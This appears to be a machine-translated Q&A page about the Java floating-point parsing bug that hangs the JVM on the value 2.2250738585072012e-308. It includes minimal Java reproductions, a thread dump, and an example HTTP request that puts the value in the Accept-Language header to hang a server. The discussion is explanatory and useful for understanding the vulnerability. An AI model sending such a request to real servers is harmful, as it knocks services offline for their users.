java – 哪种类型的webapps可以真实地受到浮动bug的影响?
有一个简单的方法来完全锁定很多JVM:
class runhang { public static void main(String[] args) { System.out.println("Test:"); double d = Double.parseDouble("2.2250738585072012e-308"); System.out.println("Value: " + d); } } 或者,挂起编译器: class compilehang { public static void main(String[] args) { double d = 2.2250738585072012e-308; System.out.println("Value: " + d); } } 如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/ 我的问题很简单:你知道哪种精心设计的网络应用程序可以被现实的影响? 换句话说:攻击者可以使用哪种类型的webapps使用已知的弱点来执行拒绝服务? 这是坏的,这是非常糟糕的.但除了使用浮点数进行货币计算的程序员,我看不到有许多Java支持的网站可能会崩溃. 我可以看到玩具科学小苹果是候选人,但除此之外… 这是一个阻塞线程的线程(在Linux上使用“kill -3”): "main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728] at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617) at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158) at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510) at java.lang.Double.parseDouble(Double.java:482) 编辑 JVM锁定在这里: java版“1.5.0_10” java版本“1.6.0_17” 解决方法
许多Web服务器使用Double.parse解析部分HTTP头,所以我们在这里处理基础架构(除了在容器中运行的应用程序的任何问题).您浏览的二进制博客的评论链接到以下为例:
GET / HTTP/1.1 Host: myhost Connection: keep-alive Accept-Language: en-us;q=2.2250738585072012e-308 如果请求所针对的servlet调用任何本地化API(然后尝试解析语言头),则上述将使服务器关闭. 所以是的,这是一个很大的问题.攻击面相当大,后果相当高. (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |